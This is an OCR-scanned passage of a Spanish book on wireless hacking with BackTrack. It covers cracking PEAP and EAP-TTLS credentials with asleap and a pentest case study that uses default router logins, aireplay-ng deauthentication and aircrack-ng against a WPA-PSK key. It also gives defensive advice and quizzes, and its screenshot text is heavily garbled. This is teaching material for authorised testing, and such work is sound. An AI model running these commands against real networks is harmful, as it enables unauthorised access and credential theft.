autenticacion que soporta y en qué consisten. Fundamentalmente, vamos a centrarnos
en EAP (Extensible Authentication Protocol), protocolo de autenticacion que se
emplea no solamente en redes inaldmbricas, sino también en sistemas empresariales
con redes cableadas.

Lo primero que vamos a hacer es asegurarnos de que tenemos instalada la
ultima version de FreeRADIUS en BackTrack, que en el momento de escribir este
libro es 1a 2.2.0. Para ello, abra un terminal y ejecute apt-get install libssl-
dev para instalar la libreria necesaria.

Ahora dirijase a la seccion de descargas del sitio oficial de FreeRADIUS
para descargar la altima version (http://freeradius.org/download.html).

Tras descomprimir el fichero fargz de distribucion, como ya hemos hecho
otras veces, acceda al directorio donde se encuentra FreeRADIUS y ejecute los
guiones de compilacion (Figura 10.1):

# ./configure && make && make install

< root@bt: ~/freeradius-server-2.2.0

Figura 10.1. Compilacion e instalacion de FreeRADIUS
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Ahora que el servidor se encuentra instalado en su maquina, es el momento
de comenzar a configurarlo.

10.1.1 Configuracion

Para que un punto de acceso pueda utilizar el servidor que acabamos de instalar
en BackTrack, tiene que indicarse de forma explicita en la configuracion del router.
Hacer esto depende exclusivamente de la interfaz administrativa que tenga cada
enrutador. Para el punto de acceso que hemos empleado a lo largo de todo el libro,
podemos seleccionar el modo WPA2-Enterprise como mecanismo de autenticacion.
Una vez hecho, observamos que necesitamos completar la IP del servidor RADIUS, el
puerto por donde establece las conexiones, que por defecto suele ser el 1812/udp, y la
clave compartida, que es la clave de autenticacion que comparten el servidor RADIUS
y el punto de acceso. Para nuestro ejemplo serd la palabra test.

Para obtener la direccion del servidor RADIUS, conecte con un cable de red
el router a su maquina BackTrack y ejecute en un terminal el comando dhclient3
eth0 para obtener del servidor DHCP una direccion IP. En nuestro caso, el servidor
ha recibido la IP 192.168.1.100 como observa en la imagen siguiente:

X root@bt: ~

inal Helr
3l Heif

* root@bt: ~

Figura 10.2. Direccién IP asignada a RADIUS por DHCP
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Ahora ya podemos completar el proceso de configuracion del router para
emplear el servidor RADIUS (Figura 10.3).

nllhllll
cisco

Linksys E3000 E2000

Inalambrico

o e . de iones & z
Coafiguracion Inalimbrico Seguridad Almacena 5 " e Adminitracion Estado

Seguridad inalambrica
de 2.4 GHz

Guardar

Cancelar cambios
pataimetios

Figura 10.3. Configuracion del router para emplear un servidor RADIUS

Una vez que el PA tiene la configuracion establecida, es necesario continuar
con los siguientes pasos para que el servidor de autenticacion pueda funcionar
correctamente:

1. Creacionde certificados autofirmados. Dirijase al directorio /usr/local/etc/
raddb/certs. Desde alli, ejecute ./bootstrap parainvocar a openssly
generar los certificados autofirmados (Figura 10.4). Los archivos creados
se corresponden con las claves publica/privada y los certificados del lado
del servidor, que deberan estar accesibles en el momento en el que el
servidor arranque.

¥ root@bt: /usr/local/etc/raddb/certs

* root@bt: /usr/local/etc/raddb/certs

Figura 10.4. Creacion de los certificados y claves del lado del servidor
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2. Como ya sabe, tanto el cliente (punto de acceso), como el servidor
RADIUS, que es la maquina BackTrack, deben compartir la clave
que se utilizard para realizar la autenticacion entre ambas entidades.
Aunque existen varios ficheros de configuracion asociados al servidor
de autenticacion, de momento es de especial interés clients.conf, que se
encarga de definir el SSID del PA y la contrasefia que se compartird entre
el routery el servidor RADIUS.

Escriba en un terminal gedit /usr/local/etc/raddb/clients.conf
para abrir el fichero (Figura 10.5).

< clients.conf (/usr/local/etc/raddb) - gedit

":"i

| clients.conf % |

Un-comment this section, and edit a "listen" section to add:
"clients = per socket clients”. That IP address/port combination
will then accept ONLY the clients listed in this section.

per_socket clients {
client 192.168.3.4 {
secret = testingl23
}

#
#
#
#
#
#
#
B
#

—

client 192.168.0.0/16 {

secret = test

shortname = ssid_prueba

}

client 172.16.0.0/12 {
secret test .
shortname testap

v

| PlainText v | TabWidth: 8 v | Ln232,Col 7 INS 4

Figura 10.5. Configuracion del fichero clients.conf.

Como observa en la linea 232, la contrasefia que hemos elegido para los
clientes de nuestra red (192.168.0.0/16) es test, la misma que pusimos
en la interfaz web de configuracion del router. En shortname, ponga el
nombre de la red, ssid_prueba.

3. Ahora ya puede arrancar el servidor con el comando radiusd -s -X
para comprobar que todo es correcto (Figura 10.6). Es interesante, como
ejercicio adicional, que compruebe si el puerto 1812 se encuentra abierto
esperando conexiones.
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* root@bt: /usr/local/etc/raddb

¥ Terminal Help

Figura 10.6. Servidor RADIUS funcionando

FreeRADIUS tiene cientos de opciones de configuracion, por lo que
familiarizarse con todas ellas es un arduo proceso. Este es el motivo por el que
hacemos hincapié exclusivamente en aquellas necesarias para entender como
funciona el servidor y qué debilidades podemos aprovechar para romper la barrera
defensiva que supone la utilizacion de este modo de autenticacion.

Una vez que se han completado los pasos anteriores, intente conectarse a la
red ssid_prueba con su equipo Windows. Cuando se establezca la conexion, vera
como una ventana emergente le pide las credenciales para autenticarse (Figura 10.7).

Segquridad de Windows [

Autenticacion de red

Escriba sus credenciales de usuario

Aceptar | | Ear\ﬂhr

Figura 10.7. Autenticacion de red
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De momento no se ha creado ninglin usuario, por lo que puede poner cualquier
cosa en los campos correspondientes a usuario y contraseiia (Figura 10.8).

e ==)

= 2 1}
W Conectarse a una red

Conectandose a ssid_prueba.. ..

Figura 10.8. Intento de conexion a la red a través de RADIUS

Al hacerlo, se generaran una serie de /ogs en el servidor RADIUS para
encontrar al usuario y verificar si las credenciales de acceso son correctas. El proceso
fallara, desde luego, dado que no se ha creado ningun usuario; sin embargo, llegados
a este punto, podemos afirmar que el punto de acceso se encuentra recibiendo
peticiones de conex16n que deriva posteriormente al servidor RADIUS para que este
se encargue de la gestion de la autenticacion de usuarios.

Lo siguiente que debemos hacer es editar los dos ficheros de configuracion
que permiten establecer qué usuarios podran autenticarse y como.

Estos archivos son los siguientes:

Jusr/local/etc/raddb/users

/usr/local/etc/raddb/eap.conf

En el primero de estos dos ficheros (users) se declaran los usuarios que
podran autenticarse en el servidor RADIUS; en el segundo (eap.conf), se especifican
diferentes elementos de configuracion relacionados con el mecanismo y protocolos
de autenticacion.

Para crear un usuario de nombre “Miriam” y contraseiia “tq2012”, incluya
lalineaMiriam Cleartext-Password := “tq2012” (Figura 10.9).

Para este mismo usuario podria incluir otras opciones de configuracion, tales
como la direccion IP del cliente, la direccion de mascara de red, el protocolo, etc.
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El fichero de configuracion eap.conf permite establecer el tipo de
autenticacion que soportara el servidor, entre los cuales se incluyen PEAP, MD5,
TLS, TTLS, LEAP y GTC, entre otros. Asegurese de que la entrada default_eap _
type del protocolo de autenticacion extensible (EAP) esta definida como peap. S1 no
es asi, cambiela (Figura 10.10).

< *users (/usr/local/etc/raddb) - gedit

&

| *users ¥
“Framed-Kouting = Broaocast-Listen,
Framed-Filter-Id = “"std.ppp",
Framed-MTU = 15600,
Framed-Compression = Van-Jacobsen-TCP-IP

his is an entry for a user with a space in their name.
ote the double guotes surrounding the name.

{#"John Doe" Cleartext-Password := "hello”
‘l Reply-Message = "Hello, %{User-Name}"

" PlainText v | TabWidth: 8v| Ln87, Col1

Figura 10.9. Configuracion del fichero users

eap.conf (/usr/local/etc/raddb) - gedit

| & -

default eap type = peap

timer expire
ignore_unknown eap types = no
cisco_accounting_username bug = yes
md5 {

}

leap {

}

gte {
auth_type = PAP

}
tls {

private_key password = whatever

meiuatn bau £filo = elesddhdicl learte icacune nom

| PlainText v TabWidth: 8 v | Ln2,Col17 INS 4

. v

Figura 10.10. Configuracion del fichero eap.conf
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10.2 MECANISMOS DE AUTENTICACION EN UN SERVIDOR RADIUS

Existen diferentes tipos de autenticacidn que pueden emplearse en un
servidor RADIUS, algunos de los cuales se utilizan con mayor frecuencia que otros
por su soporte en algunas plataformas tan conocidas y extendidas como Windows. En
concreto, los mecanismos de autenticacion mas conocidos y con los que normalmente
se suele trabajar cuando se configura un servidor RADIUS son:

¥ PEAP

¥ EAP-TTLS
» EAP-TLS
¥ LEAP

¥V EAP-FAST

Sin embargo, de todos ellos, sin lugar a dudas, el mas utilizado es PEAP
(protocolo de autenticacion extensible protegido), probablemente porque se encuentra
soportado de forma nativa en sistemas Windows. PEAP posee dos versiones:

1. PEAPversion 0 con EAP-MSCHAP-v2, con soporte nativo en plataformas
Windows.

2. PEAP version 1 con EAP-GTC.

A continuacion, explicaremos brevemente ambos mecanismos de
autenticacion, siendo conscientes de que son solamente los mas extendidos, pero
que en realidad existen muchos mas.

10.2.1 EAP-TTLS

Se trata de un mecanismo de autenticacion extensible que permite que las
comunicaciones se realicen en un tinel cifrado de comunicacion, lo que obliga a que
el servidor se autentique con un certificado y, opcionalmente, permite también el uso
de certificados en el lado del cliente. Es un mecanismo considerablemente robusto,
ya que en el caso de que un atacante pueda acceder a las credenciales de acceso de
un cliente, aun necesitaria el certificado correspondiente para el establecimiento del
tinel, con lo que el esfuerzo que deberia realizarse aumenta considerablemente. Se
trata de una solucion que no se encuentra tan extendida como PEAPv0, debido a que
no cuenta con soporte nativo para plataformas Windows.
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10.2.2 EAP-TLS

Se trata de un mecanismo de autenticacion muy similar al anterior, sin
embargo, tiene una diferencia que le hace ser, probablemente, el mecanismo de
seguridad mas fuerte de todos los EAP que se encuentran disponibles. Esta diferencia
es que EAP-TLS tiene como requerimiento obligado que tanto el cliente como el
servidor utilicen certificados para realizar el proceso del establecimiento del tinel
cifrado y posterior autenticacion. No obstante, tiene la dificultad de que en entornos
con un numero de clientes medio, la distribucion de los certificados puede ser un
proceso bastante delicado y complejo.

10.3 ATACANDO PEAP

Como acabamos de ver, PEAP es uno de los protocolos mas extendidos
hasta la fecha, fundamentalmente porque tiene soporte nativo en Windows. Emplea
certificados en el lado del servidor para la validaciéon del servidor RADIUS. Casi
todos los ataques que se dirigen sobre PEAP se deben a una configuracion errdénea
en la validacion de los certificados. Para demostrarlo, vamos a romper el protocolo
cuando la validacion de certificados se encuentra desactivada.

Siga atentamente estos pasos:

1. Asegurese de que PEAP se encuentra activado en el fichero eap.conf
(Figura 10.11):

eap.conf (/usr/local/etc/raddb) - gedit

dh file = ${raddbdir}/certs/dh
random file = ${raddbdir}/certs/random
fragment size = 1024

include length = yes

default eap type = mschapv2

#copy request to tumnel = no

#use tunneled reply = no

#proxy tunneled request as eap = yes

mschapv2 {

| Plain Text v | TabWidth: 8 ¥ Ln 29, Col 61

Figura 10.11. Activacidn de PEAP
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2. Reinicie el servidor con el comando ya visto:

# radiusd -X -s

. Ahora, monitorice el archivo /og creado por el servidor RADIUS:

# tail /usr/local/var/log/radius/freeradius-server

wpe.leg —n 0 —-f

. En la maquina en la que tiene instalado Windows 7, abra el Centro de

redes y seleccione Administrar redes inalambricas. En la lista de redes
almacenadas, haga doble clic sobre la red ssid_prueba y, a continuacion,
elija la ficha Seguridad. Haga clic en el boton Configuracién para ver la
ventana Propiedades de EAP protegido (Figura 10.12).

Propedades de EAP protegido
mwduanqg:ﬁf& - liiq —
[ Con LJW |7 Valctar un certificado de servdor

Conectarse a estos venadores:

L

[
| Eija un métndo de autentcaddn Ge red: ) i

Moosofts 42 proteads PEAP) v || Confguracin | | Equifax Seaure Certicale Authurity
7 Recordar ms cedencae s cads ") FNMT Clase 2CA _ '
: : |

Ho pede 1 Ptervenodn del usuro pars artorgsr nuevos
servdores o entidadet Ot cer ¥fcandn de confianTa.

de

| Contrasetia segura (E2P M58 v2) | [ contgurar... |

?jHWWrM
| aglkcar Protecodn de #ctess a redes
,WIMmmn\’wldntﬂﬂ

Figura 10.12. Propiedades de EAP protegido (PEAP) en Windows 7

En este punto lo esencial consiste en desactivar la casilla de verificacion
Validar un certificado de servidor. De este modo conseguiremos
romper el protocolo WPA-Enterprise.

. Acepte la configuracion y pruebe a conectarse a la red que definimos

en el punto de acceso, ssid_prueba, para que Windows comience la
autenticacion PEAP (Figura 10.13).



246 BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA

Conectado actualmente a: G =
r‘R Acceso a Internet '
Conexion de red inalambrica A
ssid_prueba ‘d
- Eorinir 13
WiFi872378 >
| Orange-a9b4 -ﬂﬂl
| vodafoneFD8F ,ﬂﬂ ‘
WLAN_46 | L
Comtrend .,,]“
e ol
Abrir Centro de redes y recursos compartidos

Figura 10.13. Conexidn a la red con autenticacion PEAP

6. Una vez que se haya realizado la conexion con el punto de acceso se le
pediran las credenciales de autenticacion (Figura 10.14). Nosotros hemos
dado de alta para la prueba a un usuario de nombre david con contrasefia
abcdefg.

Autenticacion de red
Escriba sus credenciales de usuario

P [ david

[e000000e

Figura 10.14. Autenticacién en la red

7. Tan pronto introduzca las credenciales, aparecera en el fichero /og el
usuario, el desafio lanzado y la respuesta del proceso de autenticacion
por desafio mutuo de Microsoft (MSCHAPv2), como puede observar en
la figura 10.15.
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« root@bt: -

Figura 10.15. Desafio y respuesta del proceso de autenticacion por desafio mutuo de
Microsoft (MSCHAP)

8. Con estos datos, y teniendo en cuenta que MSCHAPvV2 es susceptible a
ataques por diccionario, emplearemos la herramienta asleap junto con un
diccionario, de nombre /ist, para encontrar la clave:

Figura 10.16. Ataque por diccionario con éxito frente a WPA-Enterprise

Observe que, aunque instale un servidor RADIUS con autenticacion PEAP,
si se desactiva la opcion Validar un certificado de servidor, es posible realizar un
ataque por diccionario y recuperar la clave si esta se encuentra en él.

Pero incluso habilitando la validacion de certificados, si el administrador
no declara los servidores de confianza en la lista Conectarse a estos servidores,
estaremos dejando desprotegido el sistema de autenticacion. Un atacante podria
obtener de otro dominio un certificado real de alguna de las autoridades de
certificacion de la lista que el cliente seguiria aceptando sin ningin inconveniente.
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10.4 ATACANDO EAP-TTLS

Romper EAP-TTLS es practicamente idéntico a romper PEAP. Una vez que
el cliente ha aceptado nuestro certificado, obtendremos el desafio y la respuesta del
proceso de autenticacidon por desafio mutuo de Microsoft. Como MSCHAPv2 es
susceptible a ataques por diccionario, utilizaremos a continuacion la herramienta
asleap para romper la pareja desafio/respuesta. Si la contrasefia empleada se
encuentra en el diccionario utilizado, as/eap la encontrara.

TTLS es un mecanismo de autenticacion extensible que permite que las
comunicaciones se realicen en un tunel cifrado de comunicacion, lo que obliga a que
el servidor se autentique con un certificado y, opcionalmente, permite también el uso
de certificados en el lado del cliente. Puesto que Windows no trae soporte nativo para
TTLS, solo puede emplearse con el uso de aplicaciones de terceros.

Al 1gual que en el caso anterior, el método EAP interior més extendido con
EAP-TTLS es MSCHAPv2.

Como Windows no trae soporte nativo, emplearemos para esta practica una
aplicacion de Broadcom Corporation para Windows.

1. EAP-TTLS también se encuentra activo por defecto en el archivo
de configuracion eap.conf. Reinicie de nuevo el servidor RADIUS y
monitorice el fichero de registros (Figura 10.17).

* root@bt: /usr/local/etc/raddb

* root@bt: ~

Figura 10.17. Puesta en marcha de RADIUS con monitorizacion
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2. En la maquina con Windows 7, abra el Centro de redes y seleccione
Administrar redes inalambricas. En la lista de redes almacenadas,
haga doble clic sobre la red ssid_prueba y después seleccione la ficha
Seguridad. Elija como método de autenticacion de red Broadcom:
EAP-TTLS vy, a continuacion, pulse el boton Configuracién para ver la
ventana de configuracion EAP-TTLS. Asegurese de elegir MSCHAPv2
como método EAP interior y de no poner ningun Nombre de servidor
(Figura 10.18).

EAP-TTLS
Método EAP inlesior
[MSCHAP 2 = ﬁ
B Nombre de ususro/Cortrsseta | 1 ddelcherte W *—‘-m:|

¢ Vabdar &l cedificado dal servdor

Noembeo de seider . Cuaaiquier servidor saguro -

B nomibee del servider deba concidr sxactaments
® E nombne de dominio deba teminar con el nombre especiicada a

[ Acopar | [ Concolw | [ Acwcace | [ Anea |

Figura 10.18. Configuracidn de EAP-TTLS de Broadcom ®

3. Acontinuacion, conecteel clientealared ssid_prueba con las credenciales
miriam como usuario y casaca23 como contrasefia, o cualesquiera otras
que haya dado de alta en el fichero users, claro esta (Figura 10.19).

Autenticacion de red
Escriba sus credenciales de usuario

|| [minam

|o00sneee

Figura 10.19. Autenticacion en la red con EAP-TTLS
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4. Inmediatamente, aparecera la pareja desafio/respuesta en la consola. A
continuacion, con la herramienta asleap, recupere la contrasena (Figura
10.20).

* root@bt: ~

Figura 10.20. Recuperacion de la contrasefia WPA-Enterprise con EAP-TTLS

10.5 CONSEIOS

Desde el punto de vista de la propia experiencia, y hasta la fecha, podemos
hacer tres recomendaciones para el ambito empresarial:

1. Para autébnomos y pequeilas y medianas empresas, es suficiente con
emplear una autenticacion WPA2-PSK con AES junto con una fuerte
contrasefia de 63 caracteres alfanuméricos. Si cambia de vez en cuando
la frase de paso, atn serd mucho mas seguro su entorno de red.

2. Para grandes empresas es obligatorio recomendar el empleo de
WPA2-Enterprise con EAP-TLS. Como hemos comentado, este protocolo
emplea para la autenticacion certificados tanto en el lado del cliente como en
el del servidor. Hasta la fecha es el tinico protocolo que nadie ha sido capaz
de romper.

3. Si por cuestiones técnicas ha de emplear WPA2-Enterprise con PEAP o
EAP-TTLS, asegurese de que esta habilitada la validacion de certificados,
que ha elegido una o varias autoridades correctas de certificacion y que
emplea solamente los servidores RADIUS autorizados. Asi mismo,
compruebe que desactiva cualquier opcion referida a que los usuarios puedan
aceptar nuevos servidores, certificados o autoridades de certificacion.
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10.6 AUTOEVALUACION 10

P ;Cudl es el puerto por el que por defecto RADIUS establece las
conexiones?

a) 80 TCP.

b) 1854 TCP.

c) 1812 UDP.

d) Ninguna de las anteriores.

¥ Coémo se llama el fichero de configuracion que permite establecer el tipo
de autenticacidon que soportard el servidor RADIUS?

a) users.conf.
b) eap.conf.
¢) radius.conf.
d) clients.conf.

W (Cual de los siguientes es un mecanismo de autenticacion con el que no
trabaja RADIUS?

a) EAP-TLS.

b) PEAP.

¢) EAP-TTLS.
d) PSK-TKIP.

W (Cual diria usted que es a dia de hoy el mecanismo més robusto para
proteger redes en entornos empresariales?

a) EAP-TLS.
b) EAP-TTLS.
c) PAPv0.

d) PEAPvI.

¥ /Coémo se puede atacar PEAP?

a) Mediante ataques de fragmentacion.
b) Con un certificado falso.

¢) Siempre por ataques de diccionario.
d) Ninguna de las anteriores.
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¥ EAP-TTLS emplea...

a) Siempre certificados en el lado del cliente.
b) Credenciales de usuario.

¢) Certificados en el lado del servidor.

d) Ninguna de las anteriores.

¥V EAP-TLS usa...

a) Certificados en el lado del cliente.
b) Certificados en el lado del servidor.
¢) Ambas son correctas, ay b.

d) Ninguna de las anteriores.



METODOLOGIA. CASO PRACTICO

Una prueba de intrusién es un método para evaluar la seguridad de un sistema
ored informatica simulando la ofensiva de un usuario malicioso. El proceso involucra
un analisis activo del sistema en busca de cualquier posible vulnerabilidad que pueda
resultar de una configuracién inapropiada, fallo en el software o hardware, o una
debilidad en el proceso operacional o contramedida técnica. Este anélisis se genera
desde la posicion de un hacker potencial y puede involucrar la explotacion real de
vulnerabilidades de seguridad. Todos los problemas de seguridad que sean hallados
se presentaran al propietario del sistema junto con una propuesta o recomendacion
de soluciones técnicas. La intencion de una prueba de intrusion es la de determinar
la posibilidad de un ataque real y el impacto que puede producirse en el negocio de
una explotacion real si es descubierta.

En este altimo capitulo resumiremos los diferentes pasos de la metodologia
con una descripcion razonable que le ayudard a entender como BackTrack puede
ayudar en esta labor.

Las pruebas de intrusion no son tan exhaustivas como una auditoria, ya que
en esta ultima se analizan todos los caminos posibles. En un test de intrusion se
realiza un intento por acceder al sistema de informacion y escalar lo maximo posible.
Mediante el test, se podrd obtener una mayor proteccion y aumentar la fiabilidad
de los sistemas de informacion de una empresa, ya que pondra a prueba el nivel de
seguridad de la misma.

Toda prueba de intrusion finaliza con un informe en el que se detallaran
las pruebas realizadas y las debilidades halladas, seguidas de las contramedidas y
recomendaciones para solventar los problemas.
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11.1 TIPOS DE PRUEBAS

Las pruebas de intrusion pueden realizarse de varias formas, con la tinica
diferencia de la cantidad de conocimiento o de documentacion que la empresa
entregue a los consultores.

El método Black Box asume que no se tiene ningiin conocimiento de la
infraestructura que va a ser evaluada. Los consultores deben reunir toda la informacion
del sistema de forma previa a la prueba. Este tipo de intrusion toma mas tiempo y es
muchisimo mas caro, ya que se necesita una investigacion previa de la tecnologia e
infraestructura del sistema para poder generar oficialmente la prueba.

La prueba White Box proporciona a los consultores un conocimiento
completo de la infraestructura, incluyendo diagramas de red, codigo fuente e
informacion de direcciones fisicas y de Internet. Este tipo de prueba requiere menos
tiempo para ejecutarse, ya que acelera la etapa de descubrimiento.

Existen variaciones a estos tipos de pruebas, conocidas como Grey Box, en
las que al consultor se le da un conocimiento parcial del sistema.

Desde el punto de vista de quien escribe esta obra, suele ser preferible asumir
el peor escenario y dotar a los consultores de tanta informacioén como ellos necesiten,
asumiendo que el atacante ya la tenga en su poder.

Una prueba de intrusion debe ser realizada en sistemas que estén conectados
a ambientes hostiles, particularmente a Internet. Esta provee un nivel practico de
seguridad con la intencion de que un usuario malicioso no consiga entrar en el
sistema.

11.2 METODOLOGIA EN LOS ANALISIS DE SEGURIDAD

Son varias las metodologias que pueden seguirse en la realizacion de las
pruebas de intrusion, aunque es bastante comiin seguir la marcada por el manual de
la Open Source Security Testing Methodology (OSSTMM). Esta metodologia esta
dividida en 5 capitulos, los cuales prueban controles de informacion y datos, niveles
de concienciacion del personal, niveles de control de fraude e ingenieria social,
redes de telecomunicaciones y ordenadores, dispositivos inalambricos, dispositivos
moviles, controles de acceso de seguridad fisica, procesos de seguridad y areas
fisicas, como edificios y perimetros.
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La OSSTMM se centra en los detalles técnicos necesarios de los dispositivos
que se auditan, el qué hacer antes, durante y después de la prueba, y determina como
medir los resultados. Las pruebas se actualizan constantemente para satisfacer las
distintas leyes, regulaciones y codigos éticos.

Las etapas de una prueba de intrusion son las siguientes:
v Alcance y planificacién. Se definen los sistemas que se auditaran.

v Descubrimiento. Se construye toda la informacion necesaria de los
sistemas y servicios: mapeo de la red, identificacion de 1P, dominios,
protocolos, servicios y puertos expuestos.

v Anilisis de vulnerabilidades. Se auditan los sistemas para el
descubrimiento de vulnerabilidades existentes y su posible explotacion.

v Intrusion. Si en el alcance de la prueba se encuentra la autorizacion para
un ataque, este puede realizarse para la obtencion de acceso y escalada de
privilegios con la informacion obtenida en las etapas anteriores.

v Informe. Se detallan los hallazgos y recomendaciones basados en la
etapa del analisis.

11.3 METODOLOGIA CON BACKTRACK

............................... DL T T P PP T T T

BackTrack, como ya conoce, posee cientos de herramientas de cddigo
abierto y gratuitas con las que llevar a cabo una completa auditoria de seguridad o
cualquier prueba de intrusion. En lo que resta de capitulo expondremos, de forma
resumida y sin afectar a la confidencialidad de los involucrados, una prueba real de
intrusion realizada en un pequefio despacho de arquitectura.

Veamos cada una de las fases:

11.3.1 Planificacion

1. Alcance de la evaluacién. Es el cliente que contrata los servicios quien
debe definir hasta donde evaluar:

a) Localizacion y érea.
b) Numero de puntos de acceso y clientes inalambricos.
c) Nuamero de redes que desea evaluar, si hay mas de una.
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2. Esfuerzo necesario. Una vez establecido el alcance de la evaluacion, el
consultor debe realizar una estimacion del esfuerzo para asi redactar el
precontrato. Fundamentalmente, se hara hincapié en:

a) Nuamero de dias disponibles para la realizacion de las pruebas.
b) Numero de horas por hombre requeridas.

3. Legalidad. Las pruebas de intrusion son un asunto bastante serio tanto
para el cliente como para el profesional que las realiza, ya que pueden
producirse dafios importantes de cuando en cuando. Es importante, por
tanto, que se firme un acuerdo en el que ambas partes se eximan de
responsabilidad y en el que por escrito figure que se tienen todos los
permisos para efectuar la intrusion.

En lo que respecta al caso practico que analizamos, la oficina disponia de
4 ordenadores de sobremesa conectados permanentemente por Wi-Fi con un router
modelo Zyxel P660 HWDI, mas un portatil que se utilizaba en casos puntuales.
Como no se conocian las direcciones fisicas ni de Internet de las maquinas, lo
primero que se hizo como consultores fue analizar la configuracion de los equipos y
lared (Figura 11.1).

WLAN 46
WPA-PSK L
% ‘/_,‘\\\““V‘H
00:1f: d4 fc:22:28
. E 192.168.0.1 g '
—- o
00:01:¢7:23:ab:0 00:01:¢7:23:aa:04
@3’

R

7z

: —“ 00:15:b7:00:12:al
O()Ol :e7:23:ab: 3:aa:05

Figura 11.1. Diagrama de red del despacho de arquitectura
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11.3.2 Descubrimiento

En esta fase hallamos toda la informacion necesaria de los sistemas
y servicios. Lo primero, identificar las direcciones de Internet y fisicas de todas
las méquinas del despacho, asi como el nombre de la red Wi-Fi y su protocolo de
autenticacion (Tabla 11.1).

MAQUINA DIRECCIONES

E l REE o A AR
00:01:e7:23:ab:02
192.168.0.101

00:01:¢7:23:

Tabla 11.1. Parametros de configuracion de la red WLAN_46

Asi mismo, los ordenadores estaban configurados para aceptar direcciones 1P
a través del servidor DHCP, por lo que la primera recomendacion que se recogio en la
documentacion final que se entrego al cliente fue deshabilitar el servicio en el router y
asignar manualmente las direcciones de Internet a cada ordenador (Figura 11.2).

r", des: Protocoio de Intemet veridn & (TCP/IPw) Llﬁ]
LAN - LAN Setup -
Gereral | |
< Puede hacer » '
Que la condy o amQre i sls

bHeP tone [7] 11d 8 compatble con et finoonaided. De o contrann, deberd
Ciient  Pool Starting Addvess NA el g -
Size of Chert [P Pool NA " Qitener una drecodn T aulomhboamente

ol deecoin 19
Primacy NS Serve 88.168.95.88 i ‘

Drecosn I 9.2, 0 .0
Secondary DNS Serwr 88.168.95,155

Mbecara de mbred: n5.N05.85. 0
Remota DHCP Senver NA

Puerta de eviace predelermnada: 92.38.0 .1 ‘

TCPip Otyterer 4 drecosn def servdar NS hutoma bicamente

1P Address 192168 0.1 & Ut laa et diecoones de senicke O8G
1P Subnet Mask 2852552550 Servidor DS preferdac £ .89 .8
RiP Daection None  [=] Servdor DHS Wpermativo: 8.8, 45 188
RIP Versin nNa [ -
Muticast None [=] S chidipmciir ol ot | opcones avangadas... |

1
(o ] [ canceier |

Figura 11.2. Configuraciones propuestas para el PAy uno de los ordenadores
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A continuacion, realizamos un barrido del espacio radioeléctrico en la banda
de los 2,4 GHz para detectar todos los puntos de acceso y clientes que se encontraban
en nuestra area de cobertura.

Los pasos que seguimos fueron los siguientes:

1. Poner la interfaz inaldmbrica en modo monitor con los comandos que ya
conoce:

# ifconfig wlan0 up

# airmon-ng start wlanO

2. Una vez activa la interfaz mon0, realizamos un barrido completo del
espaclo radioeléctrico en todos los canales con el algoritmo Round Robin

(-s 1):

# airodump-ng --band bg -s 1 mon0

3. Una vez que tenemos una vision general del espacio que rodea el negocio
del cliente, es hora de analizar la informacion obtenida (Figura 11.3).

Como observa en la imagen, detectamos el router del cliente, con BSSID
00:1F:A4:FC:22:28 y cinco maquinas asociadas a ¢l y numeradas con los
digitos 1 a 5:

00:01:E7:23:AB:02 (1)
00:01:E7:23:AA:04 (2)
00:01:E7:23:AB:03 (3)
00:11:22:33:44:55 (4)
00:01:E7:23:AA:05 (5)

Figura 11.3. Barrido radioeléctrico en los 2,4 GHz con airodump-ng
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Claramente, las maquinas 1, 2, 3 y 5 se correspondian con los ordenadores
de sobremesa del despacho del cliente, sin embargo, hallamos una méaquina de MAC
00:11:22:33:44:55, no autorizada, asociada con el punto de acceso de la oficina.
Este descubrimiento llevo a sugerir la necesidad de realizar un analisis completo
de vulnerabilidades con Nessus que pudieran ser explotadas por la maquina no
autorizada.

11.3.3 Intrusion

En esta fase de la prueba se llevan a cabo distintas ofensivas con el objetivo
de conseguir acceso y escalar privilegios. Fundamentalmente, en este caso que nos
ocupa, nos centramos en dos aspectos: atacar el propio router para recuperar sus
credenciales de configuracion y romper la clave WPA-PSK.

Como conociamos el fabricante y el operador de telefonia, lo primero que
probamos fueron las credenciales por defecto, que para los router Zyxel que instalaba
Movistar son admin, para el usuario y 1234, para la contrasefia; o 1234 para ambos
campos. Efectivamente, hallar las credenciales fue tarea de pocos segundos, tan solo
dos intentos (Figura 11.4).

Figura 11.4. Recuperacion de las credenciales del router Zyxel P660
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Este hallazgo, tampoco muy extrafio en empresas en las que no existe
la figura del administrador de sistemas informaticos, nos llevoé a pensar en la
posibilidad de que la contrasefia WPA-PSK también fuera la que por defecto se
gener6 en el momento de la instalacion del punto de acceso por parte de la compaiia
de telecomunicaciones.

Para reventar la contrasefia WPA lo primero que hicimos, tras poner
la interfaz inaldmbrica en modo monitor y lanzar airodump-ng para capturar los
paquetes, fue ejecutar un ataque de desautenticacion broadcast para sacar de la red
a las maquinas asociadas con nuestro punto de acceso, con objeto de almacenar el
handshake cuando alguna de ellas se volviera a reasociar (Figura 11.5).

# airodump-ng —¢ 1 -b 00:1f:a4:fc:22:28 —-w WPA-PSK monQ
# aireplay-ng —-deauth 0 -a 00:1f:a4:fc:22:28 mon0

Una vez obtenida la secuencia de autenticacion, procedimos a pasar un
diccionario de cosecha propia con las poco mas de 25.000 contrasefias que podria
tener el router si el cliente no la hubiera cambiado desde su instalacion, pues
conocemos el algoritmo de generacion de claves WPA-PSK que por defecto generan
los puntos de acceso de Zyxel (Figura 11.6).

# aircrack-ng -b 00:1f:ad4:fc:22:28 -w Zyxel WPA-PSK-01l.cap

deauth

Figura 11.5. Captura del proceso de autenticacion, WPA handshake
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KEY FOUND! 1CEFCE®45

Figura 11.6. Recuperacion de la clave WPA-PSK

Efectivamente, se trataba de una clave por defecto WPA-PSK para estos
dispositivos, por lo que era evidente que no se habia cambiado desde la instalacion

primaria.

11.3.4 Informe

Es la etapa en la que se presentan los resultados a partir del informe final
de auditoria e implantan las directrices recomendadas. El informe final debe estar
estructurado de la siguiente forma:

4

| 4

Presentacion del informe. En esta se redactan las conclusiones del
trabajo efectuado, dirigida a la persona que contrato el servicio.

Introduccion. Exposicion del conjunto de objetivos de la auditoria,
condiciones de desarrollo y un resumen de observaciones y
recomendaciones.

Principales observaciones. Descripcion exacta sobre procedimientos,
seguridad, calidad, plazos, etc.

Recomendaciones y plan de mejora. Conjunto de recomendaciones
para obtener mejoras a corto, medio y largo plazo.
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Finalmente, como cualquier otro proceso estratégico, la auditoria de la
informacion necesita un seguimiento y una planificacion periddica de manera que
sea incorporada como un estandar ciclico en el proceso de gestion.

11.4 AUTOEVALUACION 11

